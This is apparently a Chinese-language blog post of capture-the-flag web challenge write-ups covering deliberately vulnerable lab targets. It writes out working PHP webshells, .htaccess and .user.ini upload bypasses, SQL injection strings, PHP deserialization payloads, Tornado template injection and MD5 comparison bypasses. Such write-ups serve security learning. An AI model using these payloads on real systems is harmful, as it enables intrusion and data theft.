成功在根目录下发现一个f1agg的文件,接下来就是读取这个文件了,使用file_get_contents,这个函数返回的文件内容并不会直接输出,所以我们还需要使用var_dump或echo等来输出flag:
1;echo(file_get_contents(chr(47).f1agg)) 1;var_dump(file_get_contents(chr(47).f1agg))

夺旗成功!
[HCTF 2018]admin
题目:
该靶机启动需要 60 秒,请耐心等待
解题思路:
看题目,这题启动有点慢,等待一会后访问看看

访问后发现右上角有一个菜单栏,点开后有两个菜单,一个是登录一个是注册,然后我们先看看源代码

有一个posts的页面,点开是404,然后还有一个你不是管理员的提示,加上标题,估计是想让我们登录管理员的账号,管理员的用户名多半是admin


好的,先确认是不是真的存在admin用户,我们先正常注册一个用户名,然后登录但是输入错误的密码

发现不管用户是否存在,或者密码是否正确都是返回相同的提示,那么我们就无法通过这个来判断admin是否存在,不过可以尝试一下二次注册看看

然后在注册同一个用户名的时候发现显示的是用户名已注册,那么我们试试admin

这里没有翻译啊,不过的确可以看到admin用户是存在的,因为我们注册的时候显示用户名存在,接下来就是想办法注入了,既然是登录框,万能密码必不可少:
admin' or 1=1#密码随便输入一个,因为密码可能会加密存储,所以测试用户名通常比较好

尝试万能密码发现报错了,尝试其他payload发现返回的都是这个页面 ,说明关闭了报错,同时判断错误就返回该页面,继续,测试反斜杠逃逸:
\ or 1=1#提示用户名和密码错误,说明密码加密存储了,那么换个思路,登录我们之前注册的账号看看

发现又多了几个功能,改变密码,退出登录还有一个edit,那么现在就有两个思路了,一个是尝试重置管理员的密码然后登录,一个是直接利用页面回显了用户名,注册恶意的用户名来获取数据

不过这两种都是二次注入,先尝试重置密码吧,因为我们也不确定能不能解密管理员的密码,当然也可以直接尝试获取数据库的flag,不过流程相对麻烦,还是直接登录管理员账号来获取flag吧
重置密码当前用户的密码,发现没有传递用户名的参数,那就构造恶意的用户名试试:
admin\发现反斜杠可以注册,其他的无法注册,看来对注册也进行过滤了,那么直接Fuzz跑一下看看过滤了哪些

982长度的是没被过滤的字符,455是过滤的了,可以看到过滤了空格,不过括号没有,那么就用阔号替代,不过引号过滤卡住我了,我硬是思考了半天,然后没招了看了一下wp,发现是高估题目了,这题最简单的解法就是弱口令,密码是123,关键是我注册账号的时候尝试的都是123,就是没试试管理员的密码,还想着怎么SQL注入呢,白瞎忙活,然后还有另外几种解法,都看了一下
一种是Unicode欺骗,不过这个我看大家都是看源代码分析出来的,不过我尝试访问题目提示的源代码时发现失效了,不过看了一下他们的截图,发现是代码用了strlower,并且是在三个页面都使用了,所以当我们用Unicode字符注册后,重置密码,再退出登录后就是管理员的账号了,地址如下:
https://unicode-table.com/en/1D2E/在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session[‘name’]==’admin’,也就是只要用户名是’admin‘就可成功登录了)

可以看到当我们注册ᴬᴰᴹᴵᴺ用户名后登录发现用户名变成了ADMIN,这个时候重置一下密码

再退出登录,密码为重置的密码

在第一次注册的时候被转换小写后就是ADMIN,然后在重置密码的时候又转换了一遍就是admin,所以实际上重置的是管理员的密码
然后还有一种方法好像是session,好像是flask框架的问题
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞
然后代码判断的是解密后的session中的用户名是否为admin,只需要我们伪造成admin,然后用同样的方法加密后即可登录,而加密用到的key,源代码中也有ckj123,具体这里就不演示了,可以看看这几篇wp:
https://www.cnblogs.com/chrysanthemum/p/11722351.html https://atmujie.com/2021/06/21/HCTF2018-admin%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/ https://www.bilibili.com/opus/696859002149011528 https://www.cnblogs.com/Jleixin/p/13283098.html加密脚本地址:
https://github.com/noraj/flask-session-cookie-manager
[MRCTF2020]你传你🐎呢
解题思路:
这题目名称有意思哈,看来就是上传Webshell,开启靶机看看

选了一个webshell上传,发现返回了

可能是做了限制,用png看看

路径有了,不过文件名有变化,然后我们尝试burpsuite抓包图片然后将Webshell放在里面看看,发现没有对内容做过滤,直接
<?php?>没有检测,那就是文件名做了限制,换成phtml试试,发现也不行

那就试试看.htaccess能不能上传

可以上传,不过要进行MIME伪造,然后上传成功,接下来上传一个图片木马就好了

然后访问对应路径进行连接就好了

发现禁用了system,那就换eval

没问题,直接读取flag文件
echo file_get_contents('/flag');

成功夺旗!
[NewStarCTF 2023 公开赛道]Unserialize
解题思路:
访问靶机,直接提供了代码:
<?php highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { private $cmd; public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } } @unserialize($_POST['unser']); ?>还是析构函数,对象销毁时调用,然后反序列化post提交的unser,那么直接本地序列化payload:
<?php class evil { private $cmd="ls"; } $a = new evil(); $b = serialize($a); echo $b; ?>这种序列化数据直接抄题目代码就行,定义一个evil的类,然后声明私有属性cmd为payload,然后实例化对象,然后序列化实例,输出序列化后的数据,因为没有过滤ls,所以直接ls获取一下目录下的文件信息,上面文件的运行结果为:
O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}如果你是代码编辑器里面看的话会发现evilcmd前面和中间是有空格的,但是复制了却没有,然后长度也对不上,因为这两个是空字符,看不到但是存在,我们如果需要使用,就必须加上%00,不过如果是post的话burpsuite也可以只不过有点麻烦,刚好我今天把hackbar装了一个免费的版本,直接用这个就好了,提交一下参数,就可以看到结果了:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:2:"ls";}

不在当前目录,那就是根目录了,直接ls / 看看:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}

接下来就是读取这个th1s_1s_fffflllll4444aaaggggg文件了,不过可以看到前面过滤了cat|tac|more|tail|base,linux读取文件的方法有很多,记不住搜索引擎一搜就知道了,要是你记得住或者搜到的都被过滤了,那么还可以尝试将文件cp复制到web目录,然后直接访问来读取文件内容,这里因为没有过滤head,所以直接使用head读取了,head是读取文件头xx行的命令:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:40:"head -n 1 /th1s_1s_fffflllll4444aaaggggg";}

成功夺旗!
在这个题目之前还有一个反序列化的题目,不过其中涉及到反序列化逃逸,然后我又不是特别看得懂,所以只是简单的分析了一下代码,之所以在做反序列化命令执行的题目是因为我前面学习懂了之后,发现很有意思,代码审计也好玩,所以就想找两个题目练练手,不过找着找着就做文件上传了,等想起来的时候就是现在了,这个题没有看wp,自己直接做而且是速通,太爽啦!
[护网杯 2018]easy_tornado
解题思路:
直接开启靶机访问看看

依次点开,flag.txt告诉了我们flag地址,另外两个没看懂是干什么的

然后路径里面包含了文件名参数和文件hash,简单的尝试修改了一下发现不对,应该是hash后的结果也要对才行,welcome里面没啥,不过hints里面好像是有提示


按照这些信息可以判断出如果我们想要获取flagURL路径如下:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))有意思的是我直接搜索cookie_secret发现了提示

和这题很像,那么我们抓包看看cookie_secret,没找到这个玩意,看上面这个图片,需要通过访问handler.settings来获取环境配置信息,然后我们前面搜集信息发现有一个welcome页面,提示的是render,搜了一下,是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页
也就是说我们多半是要利用这个注入来获取信息,获取信息的注入语句上面的图片也有,但是肯定不是直接注入,因为直接输入文件名和错误的hash是不对的,不过发现了一个不对的页面

之前的几个页面都是需要传入hash,这个页面好像就不需要了,试试注入语句:
# 在Tornado模板中注入代码来获取cookie_secret {{ handler.settings['cookie_secret'] }}

然后看了别人的wp发现也可以利用这个来获取cookie_secret:
{{handler.settings}}既然得到了cookie_secret,接下来就是利用python脚本来计算文件对应的hash了,这是那个图片中的代码:
# Python代码计算MD5值 import hashlib filename = '/path/to/file' cookie_secret = 'your_cookie_secret' # 计算文件名的MD5值 filename_md5 = hashlib.md5(filename.encode()).hexdigest() # 将cookie_secret和文件名的MD5值拼接后再次计算MD5值 filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest()hexdigest是Python中哈希对象的一个方法,可以对数据进行哈希处理,并返回其对应的十六进制表示。具体来说,hexdigest方法会将二进制表示的数据经过哈希函数处理后,将结果转换为十六进制表示
hashlib.md5(filename.encode()).hexdigest将文件名编码,然后使用md5加密,最后将结果转换成16进制这个代码先是导入hashlib库,然后配置文件名和cookie_secret,然后计算文件名的md5值,再然后拼接再次计算,看懂之后我们直接仿着写就好了,不过为了验证我们思路是否正确,我们可以先计算它原有页面的文件名对应的hash,如果对的上就说明没问题:
import hashlib filename = "/flag.txt" cookie_secret = 'ORZ' # md5(cookie_secret+md5(filename)) filename_md5 = hashlib.md5(filename.encode()).hexdigest # filehash = md5(cookie_secret+filename_md5) filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest # 输出文件hash print(filehash)运行结果:
PS D:\VScode\Project_Directory> & D:/python/python.exe d:/VScode/Project_Directory/learn/1.py Traceback (most recent call last): File "d:\VScode\Project_Directory\learn\1.py", line 86, in <module> filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest ~~~~~~~~~~~~~~^~~~~~~~~~~~~~ TypeError: can only concatenate str (not "builtin_function_or_method") to str看到这个TypeError就知道是类型错误了,翻译一下报错信息:只能将字符串与字符串连接(不能将“内置函数或方法”与字符串连接),然后打印了一下filename_md5的结果发现也不对,提示:
<built-in method hexdigest of _hashlib.HASH object at 0x000001BA097399F0>然后问了一下ai发现是我代码问题,忘记加阔号了,hexdigest()这个后面是有一个阔号的,正确代码如下:
import hashlib filename = "/flag.txt" cookie_secret = 'ORZ' # md5(cookie_secret+md5(filename)) filename_md5 = hashlib.md5(filename.encode()).hexdigest() # filehash = md5(cookie_secret+filename_md5) filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest() # 输出文件hash print(filehash)运行结果:
d14dca8ca31ccbc33749141d9707f4cd和前面的题目中的原hash比较了一下也不对啊,看了看wp,好家伙,刚好就差一步,前面的注入语句不对,但是我以为两个都是正确的,然后就直接用那个了,回头看了一眼别人的wp,用第二种语句注入的获取到的结果:
{{handler.settings}}输出结果如下:

重新计算一下

没问题了,是正确的结果,接下来就是计算那个flag文件的hash,替换一下filename即可:
filename="/fllllllllllllag"运行结果:
461f2b6898649add5daa9648fab6998c接下来带着正确的hash去访问

成功夺旗!
这题大概的思路就是告诉你文件路径,告诉你加密方法,但是加密还带有一个cookie_secret参数,这个参数需要我们去获取,在Web开发中,cookie_secret是一个用于加密Cookie的密钥,它确保了传输过程中Cookie的安全性
在Tornado框架中,cookie_secret可以通过模板注入来获取,这是因为Tornado的模板系统允许开发者访问某些预定义的对象和方法,而题目也告诉我们是easy_tornado
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,所以payload为
{{handler.settings}}至于注入点,肯定不是file这个地方,因为这个地方只获取文件名和hash然后验证,正确就返回对应的文件,传入注入语句肯定是没用的
[BJDCTF2020]Easy MD5
解题思路:
开启靶机后啥都没有,就一个输入框和提交,查看网页源代码发现没有东西,然后我就去看官方的wp了,发现官方的wp是re和其他方向,然后加上题目,我就误以为这是密码学的题目了,然后先是放弃了,做到上面这个题目的时候有点不甘心,重新回来看了一遍,发现的确是web题目,不过官方提供的github地址中的两位web wp的师傅的链接失效了,然后我是直接搜索关键词看的别人的wp
随便输入几个数字发现也没反应,但URL里面多了一个password的参数
只不过具体查询语句还是不知道,而且也猜不出来,看了别人wp提示才知道的,也是自己忘记了用火狐浏览器查看一下,只靠源码和目录扫描来获取信息肯定会漏掉提示,之前有个题目就是隐性请求,需要Burpsuite开着才能发现,也是提示了之后才注意到,然后我重新把题目地址用火狐打开,看了一下burpsuite的HTTP历史,发现其中的响应头多了一个信息

可以看到多了一个语句:
select * from 'admin' where password=md5($pass,true)$pass多半就是我们提交的参数,第二个true参数不知道,那就查查看:
MD5函数第二个参数默认值为false,表示会产生一个32位的常规MD5值。 而true,则是原生的16字符的二进制格式,这意味着,这里有可能人为输入一个字符串,经加密后的值以 二进制格式 生成,又被当字符串处理,很可能新的字符串中含有可以构造SQL万能密码的’or’的部分
这里的是原始16字符二进制格式,16位秘文和32位秘文的第8-24位子字符串时一样的,也就是中间的16位,这个原始16字符二进制格式一般会有乱码,如果想解决的话,需要对输出的16位字节的二进制转换为十六进制,取32位秘文的中间16位,如果MD5值经过hex后,就构成万能密码进行了sql注入
而
ffifdyop这个字符串md5后的结果是276f722736c95d99e921722cf9ed621c,将这个16进制解码得到

这个字符串前几位刚好是
' or '6,而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数,为什么后面是永真式呢,因为在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数,要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true,这点就和PHP弱比较很像了,所以我们提交这个ffifdyop就可以成功注入:ffifdyop

提交后页面返回信息如下,还是一样,先看页面源代码,发现有提示

提交a和b,如果a不等于b并且md5后的a弱等于md5后的b估计就进入对应代码块,那就很简单了,md5后的a和md5后的b开头的数字一样即可,因为是弱比较,不过比较麻烦,我看了一下别人的wp,发现是可以用数组绕过,因为a和b可以是两个不同的数组,而md5数组会返回NULL,两个都是NULL,弱比较的结果就是true了,的确没问题,所以构造提交数组的payload即可:
?a[]=1&b[]=2成功下一个

这真的是easy_md5吗,多关结合啊,没办法继续做,代码很简单,关闭报错,包含flag文件,然后输出文件的代码,如果post提交的param1参数不弱等于param2参数并且md5后的param1要绝对等于md5后的param2,才会输出flag
这个前面一样,都可以使用数组来解决:
param1[]=1¶m2[]=2

成功夺旗!
知识点
然后补充一个知识点,如果不用这个数组怎么绕过,比如前面第二个关卡,我们就可以使用科学计数法
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样我们完全可以去寻找明文不同但MD5值为”0exxxxx”的字符串,这里从别人那里copy过来的,相关文献
QNKCDZO 0e830400451993494058024219903391 ----------------------------------- s878926199a 0e545993274517709034328855841020 ----------------------------------- s155964671a 0e342768416822451524974117254469 ----------------------------------- s214587387a 0e848240448830537924465865611904 ----------------------------------- s214587387a 0e848240448830537924465865611904 ----------------------------------- s878926199a 0e545993274517709034328855841020 ----------------------------------- s1091221200a 0e940624217856561557816327384675 ----------------------------------- s1885207154a 0e509367213418206700842008763514 ----------------------------------- s1502113478a 0e861580163291561247404381396064 ----------------------------------- s1885207154a 0e509367213418206700842008763514 ----------------------------------- s1836677006a 0e481036490867661113260034900752 ----------------------------------- s155964671a 0e342768416822451524974117254469 ----------------------------------- s1184209335a 0e072485820392773389523109082030 ----------------------------------- s1665632922a 0e731198061491163073197128363787 ----------------------------------- s1502113478a 0e861580163291561247404381396064 ----------------------------------- s1836677006a 0e481036490867661113260034900752 ----------------------------------- s1091221200a 0e940624217856561557816327384675 ----------------------------------- s155964671a 0e342768416822451524974117254469 ----------------------------------- s1502113478a 0e861580163291561247404381396064 ----------------------------------- s155964671a 0e342768416822451524974117254469 ----------------------------------- s1665632922a 0e731198061491163073197128363787 ----------------------------------- s155964671a 0e342768416822451524974117254469 ----------------------------------- s1091221200a 0e940624217856561557816327384675 ----------------------------------- s1836677006a 0e481036490867661113260034900752 ----------------------------------- s1885207154a 0e509367213418206700842008763514 ----------------------------------- s532378020a 0e220463095855511507588041205815 ----------------------------------- s878926199a 0e545993274517709034328855841020 ----------------------------------- s1091221200a 0e940624217856561557816327384675 ----------------------------------- s214587387a 0e848240448830537924465865611904 ----------------------------------- s1502113478a 0e861580163291561247404381396064 ----------------------------------- s1091221200a 0e940624217856561557816327384675 ----------------------------------- s1665632922a 0e731198061491163073197128363787 ----------------------------------- s1885207154a 0e509367213418206700842008763514 ----------------------------------- s1836677006a 0e481036490867661113260034900752 ----------------------------------- s1665632922a 0e731198061491163073197128363787 ----------------------------------- s878926199a 0e545993274517709034328855841020
[MRCTF2020]Ez_bypass
解题思路:
直接访问靶机看看

咋也搞不懂为什么不直接使用函数优雅高亮显示源代码,这样搞看都看得晕,没有缩近可读性太差了,好在查看源代码能够有缩近

当然,题目也提示我们F12,然后我们将代码copy到vscode里面查看,发现还是一样的,判断md5后绝对相等,但是原内容不相等:
gg[]=1&id[]=2这样就绕过了前面的判断,并输出了你迈出了第一步的英文,然后进入下一个判断,passwd为我们提交的passwd,不为数字,但是要弱等于1234567,简单1234567a就好了,注意是post提交的参数喔

成功夺旗!
因为前面做过类似的题目,现在看到这个基本上都有绕过思路了,果然还是要多刷题
[ZJCTF 2019]NiZhuanSiWei
解题思路:
直接访问靶机

这个题目就比上一个好多了,直接使用highlight_file将源代码输出了,看一下逻辑
三个参数,text,file,password,读取text的传入的路径,如果文件内容为xxxx进入判断模块,我们直接传入的text是被当作路径解析,所以肯定是无法满足的,不过我们可以使用PHP伪协议来实现,找了一下我之前的PHP函数入门的那篇文章,发现可以利用data来实现,payload如下:
text=data://text/plain,welcome to the zjctf

成功,接下来继续看源代码,发现如果不是flag,就会走下一个代码块,其中有个注释,估计是提示我们用filter协议读取这个文件,构造payload:
text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

将内容base64解码然后放到vscode里面看看:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>魔术方法是当对象被当作字符串使用时触发

所以这里触发了这个_tostring,发现这个代码里面的file_get_contents没有进行过滤,通过这个来读取flag,直接本地序列化一下数据:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); $a->file="flag.php"; $b = serialize($a); echo $b; ?>运行结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}然后构造完整的payload:
text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}结果没看到flag,我还纳闷是什么问题,F12才发现

因为这个文件的判断是2绝对等于3才返回flag,但是永远不可能等于,所以无法直接访问,不过这里我们使用的是useless.php,这个里面的魔术方法触发时同样会读取文件内容,且没有过滤,所以利用这一点,我们构造序列化的payload来触发即可,至于序列化的数据怎么构造,很简单,直接复制它的代码,然后自己实例化一个对象,然后用函数序列化即可,最后将数据输出,当然有些参数是私有属性,我们需要在对象内部修改,有些是公开属性,直接在实例化后设置这个属性即可
最后也是成功夺旗!
现在我基本上简单的反序列化题目都可以做出来了,还是很简单的,并且代码看得多了,也不像以前需要一行一行的逐行分析了,看一眼基本上就能够懂了,我也终于不在是以前那个还需要靠ai分析代码的人了,现在只有不懂的函数搜索引擎搜一下,ai基本上不用了
[网鼎杯 2020 青龙组]AreUSerialz
解题思路:
还是一样,直接开启靶机访问

代码有点长,复制到vscode里面查看,大概70多行,在代码比较多的时候,不要慌,首先开头可以看到包含了flag文件,那么就现在输出,那里输出了flag,没有找到没有关系,先不去看对象内部的复制内容,直接看后面:
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }这个不是对象内部的内容,可以先看这个if,参数是str,请求方式是get,然后用is_vaild函数处理,反序列化$str,首先要反序列化这个$str必须让is_valid返回true,那就看看这个函数的处理
for循环的代码就是遍历每一个字符,然后判断,如果字符串转成ascii后的结果不在32-125之间就返回false,也就是说什么空字符等等都是无法进入反序列化的,demo:
<?php function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } $str = "\x00(string)[acs'str']"; // $str = "\x21(string)[acs'str']"; if(is_valid($str)) { echo $str; } ?>第一个
str是空字符,所以走不到输出,第二个 16 进制 21 对应的是!号,所以可以输出,因为!ascii是33,所以满足,继续,反序列化对象,然后我们再来看对象内部,发现有两个魔术方法,一个是初始化时触发,一个是对象销毁时触发:function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }可以看到两个魔术方法都调用了process()方法,先看这个方法:
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }调用了三个方法,分别是write,read,output,先看write:
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }判断初始化的filename和content是否存在,然后判断content的长度大于100,满足调用output方法,传入参数”Too long!”,结束脚本,看一下这个output方法,发现是直接输出传入的参数,那么继续,当content不大于100,file_put_contents写入文件,如果写入成功,输出
Successful!,写入失败输出Failed!,如果filename和content没有设置,也会输出Failed!然后就是read方法:
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }$res是空字符串,然后用file_get_contents读取filename路径的文件,然后返回结果,再回到前面的process方法:
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }如果对象的op为1,就执行write方法,如果op为2,执行read方法,然后用output输出,如果不为1和2就用output输出
Bad Hacker!,然后继续,看两个魔术方法具体怎么使用的:function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }对象初始化的时候调用写入方法,然后写入的路径是
/tmp/tmpfile,写入的内容是Hello World!,对象销毁时如果op绝对为字符串2,才会重置为字符串1,而process方法里面是弱比较,不过比较的不是数字,而是字符串,也就是说字符串2a和2是不同的为什么之前可以呢,之前比较的是当数字和字符串比较的时候,字符串会被转换成数字,而字符串和字符串比较是不会转换的,所以这里我们不能使用2a来绕过,不过既然直接比较的是字符串,那么我们可以传入数字,如果op=2,因为是数字,析构函数里面的强比较就匹配不上,所以还是原先的数字,然后在调用process方法时用的是弱比较,所以数字2等于字符串2,满足read的条件,执行read
然后filename用伪协议读取可以,直接传入文件名也可以,因为没有过滤 ,直接就能读取到,不过后者可能不直接显示,需要F12或查看网页源代码才能看到,因为读取的内容被解析为注释了
然后我们来看一下怎么构造payload:
<?php class FileHandler { public $op=2; public $filename="flag.php"; public $content=""; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>定义一个类,然后用public来声明,实例化对象,然后序列化数据,然后输出,很简单,不过这里为什么不像源代码一样使用protected呢,因为这个生成的序列化数据是包含空字符的也就是%00,然后前面分析代码也知道了,%00就不会走反序列化了,所以我们得绕过它,那么使用public生成的序列化数据就是没有空格的,还有一个private,也是的,生成的序列化数据都是包含空字符的
- public 公共的 任何成员都可以访问
- private 私有的 只有自己可以访问
- protected 保护的 只有当前类的成员与继承该类的类才能访问
当然,你也可以用这两个生成然后手动删除空的字符和修改为对应长度,这样的结果和直接使用public是一样的,序列化结果如下:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}然后我后来看别人的wp发现还有一种方法,就是绕过ord限制,我们可以使用16进制来绕过,因为检查的是ascii的值,我们使用16进制就可以绕过,不过比较麻烦,不光需要url编码替换还需要将小写的s转换为大写的s,将序列化格式从普通字符串(
s)改为16进制字符串(S),16进制格式允许使用转义序列如\000而不需要真实的空字节$mao =str_replace('%00',"\\00",$bai); //str_replace函数查找变量bai里面的数值%00并将其替换为\\00 $mao =str_replace('s','S',$mao); //str_replace函数查找变量mao里面的数值s并将其替换为S 原文链接:https://blog.csdn.net/m0_73734159/article/details/134648981然后我发现他们都是用伪协议读取的文件,如果url编码,那就更长了,搞不好就触发了100长度的限制,所以我也搞不懂为什么不直接传入flag.php读取,读取的结果无非就是F12一下,比特意去base64解码可轻松多了
所以我是直接使用public绕过,然后不编码,直接传flag.php读取的文件内容

成功夺旗!
[GXYCTF2019]BabyUpload
解题思路:
直接访问题目

是文件上传,直接选中上传一个正常的图片,然后抓包,修改文件名和文件内容

提示后缀不能有ph,对文件名做了检查,那就换一个,试试.htaccess

提示上传类型太露骨,也就是说.htaccess绕过了文件名的限制,而image/png的文件类型不行,那就换一个文件类型,试试
image/jpeg

上传成功,有点无语,png都不让上传啊,差点让我判断错了,应该先上传一个图片看看能不能上传的,接下来就是直接上传图片木马了

看来还检查了文件内容,先加一个文件头看看能不能绕过

不行,看来是检测了<?php,php的版本是5.6.23,那么就换
<script>:<script language=php>system($_GET['cmd']);</script>

上传成功,直接连接,然后执行命令

system被禁用了,那就换eval:
GIF89a <script language=php>eval($_GET['cmd']);</script>

连接,然后输出一下phpinfo看看:
http://af9a7172-943e-4ff5-b4fe-5fef64de7713.node5.buuoj.cn:81/upload/5b6bb694ecc0b369a09c3c96a6873bd8/2.webp?cmd=phpinfo();

ctrl+f 搜索一下 disable_functions ,看看禁用了那些函数,发现之前用的var_dump和file_get_contents以及scandir都没有禁用,那就来读取一下目录

当前目录下面没有东西,那就直接读取一下根目录,果然发现一个flag文件,那就直接读取这个

成功夺旗!
[SUCTF 2019]CheckIn
解题思路:
直接开启题目访问

又是文件上传,先上传一个png图片看看

直接上传没有问题,那么试试php一句话木马:
<?php system($_GET['cmd']); ?>提示
illegal suffix!,换成phtml和pHp试了试,发现都是非法后缀,那就试试.htaccess

因为不小心把png和特殊字符删了,只好自己加了一个GIF89a,然后上传成功,接下来就是上传一个png的文件

发现还检查了<?php,那就换:
<script language=php>system($_GET['cmd']);</script>

上传成功,直接访问看看:
http://dd7d0fe6-a839-449d-a961-9bb23ec8f020.node5.buuoj.cn:81/uploads/331f5a2fec4659f9c8cd3a470a780b69/111.png

依旧没有执行,重新上传了一个文件,发现之前的.htaccess文件不见了,看来是对.htaccess也做了限制,那就换一个,用.user.ini:
//上传.user.ini需满足如下条件: (1)服务器脚本语言为PHP (2)对应目录下面有可执行的php文件 //index.php (3)服务器使用CGI/FastCGI模式 GIF89a auto_prepend_file=b.jpg //auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入 上面这个意思就是将我们的b.gif文件插入到index.php头部 这样php代码就会被解析执行

上传成功,接下来上传b.jpg文件:

然后访问index.php,带上cmd参数

因为没有禁用system,所以我就不再开工具连接了,直接在浏览器里面读取flag


成功夺旗!
在根目录下发现的flag文件,然后直接cat
[GYCTF2020]Blacklist
解题思路:
直接访问题目看看

“黑名单对你来说太弱了,不是吗”,试试

直接尝试单引号发现报错了,那么直接尝试报错注入:
' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

看到过滤了select,且不是替换为空第一时间就要转变思路为使用show:
';show tables();#

继续,直接获取表的列:
';show columns from FlagHere;#

没问题,flag在FlagHere表的flag列里面,接下来就是获取数据,过滤了预处理,还过滤了alter,我记得前面的强网杯随便注好像和这个差不多,不过这个过滤了预处理和alter,不过没有过滤前面那部分提到的handler,那么直接结合前面构造payload读取数据:
打开表: HANDLER 表名 OPEN ; 查看数据: HANDLER 表名 READ next; 关闭表: HANDLER 表名 READ CLOSE; ';HANDLER FlagHere OPEN ;HANDLER FlagHere READ next;HANDLER FlagHere READ CLOSE;#

成功夺旗!
[RoarCTF 2019]Easy Java
解题思路:
还是一样,直接访问题目

登录框,万能密码:
admin ' or 1=1#

提示密码错误,也就是说管理员的用户名没错,试试,发现不管是admin还是其他,都是密码错误,然后还有一个help的按钮,点击后显示如下:

显示文件没有找到,并且在URL中看到一个filename的参数,猜测可能是请求方法的问题,换成post看看

成功下载,打开看看

思路没有问题,的确是通过这个下载文件,但是没有找到flag,那么就是别的路径了,尝试了一下/flag也没找到,看了wp提示才知道,缺少了java的知识点:
WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问:
WEB-INF主要包含以下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件前面说了,要通过web.xml对访问的文件映射才行,所以我们先下载web.xml看看

直接可以用浏览器打开,看看

web.xml用于映射路径(URI)和后端服务程序(servlet)。servlet 是经过编译后,后缀名为.class的文件 拿Index举例,/Index页面对应的后端程序路径为/WEB-INF/classes/com/wm/ctf/IndexController.class,同理,/flag的对应路径为/WEB-INF/classes/com/wm/ctf/FlagController.class,接下来下载一下文件

该文件是编译后的JAVA程序,所以我们要想查看,还需要对其进行反编译,这里直接浏览器搜索引擎搜索的,在线反编译的网站:
第一个: http://www.javadecompilers.com/ 该站点提供了一个用户界面,用于从.class和.jar'二进制'文件中提取源代码。 第二个: https://jdec.app/魔法不可少,然后就可以将反编译后的文件下载打开就可以看到了

